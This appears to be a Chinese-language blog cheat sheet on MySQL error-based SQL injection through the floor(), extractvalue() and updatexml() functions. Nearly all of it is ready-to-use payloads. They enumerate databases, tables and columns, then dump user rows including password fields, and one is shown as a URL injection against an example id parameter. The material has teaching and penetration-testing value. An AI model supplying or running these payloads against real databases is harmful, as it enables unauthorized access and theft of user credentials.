sql基于 extractvalue()，floor()，updatexml()函数的报错注入

---

floor函数报错

select 1 from (select count(*),(concat(floor(rand(0)*2))x from information_schema.tables group by x)a;

暴库
select 1 from ( select count(*),(concat((select schema_name from information_schema.schemata limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x )a;

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

爆表
select 1 from (select count(*),(concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;

爆字段
select 1 from (select count(*),(concat((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;

爆数据

select 1 from (select count(*),(concat((select concat(name,’|’,passwd,’|’,birth) from users limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;

select 1 from(select count(*),concat((select (select (SELECT concat(0x23,name,0x3a,passwd,0x23) FROM users limit 0,1)) from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a

---

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数，分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

————————————————————————————————————————————————
extractvalue()函数报错注入

暴库

select extractvalue(2,concat(’|’,(select schema_name from information_schema.schemata limit 4,1),’|’));

爆表

select extractvalue(2,concat(’|’,(select table_name from information_schema.tables where table_schema=database() limit 3,1),’|’));

爆字段

select extractvalue(2,concat(’|’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),’|’));

爆数据

select extractvalue(2,concat(’|’,(select concat(name,’|’,passwd) from user.users limit 2,1 ),’|’));

——————————————————————————————————————————————————————–

updatexml注入

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc

第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。

第三个参数：new_value，String格式，替换查找到的符合条件的数据

作用：改变文档中符合条件的节点的值

爆库

select updatexml(2,concat(’|’,(select schema_name from information_schema.schemata limit 4,1),’|’),2);

爆表

select updatexml(2,concat(’|’,(select table_name from information_schema.tables where table_schema=database() limit 2,1),’|’),2);

爆字段

select updatexml(2,concat(’|’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),’|’),2);

爆数据

select updatexml(2,concat(’|’,(select concat(name,’|’,passwd) from user.users limit 2,1 ),’|’),2);

ps:
通过修改limit的值 0,1 - 1,1 - 2,1 可以逐个的读取数据
关于floor()函数，最后跑数据的时候，我老是跑不出数据。其他两函数都能成功。
floor函数估计要看rp的 txtxtxt…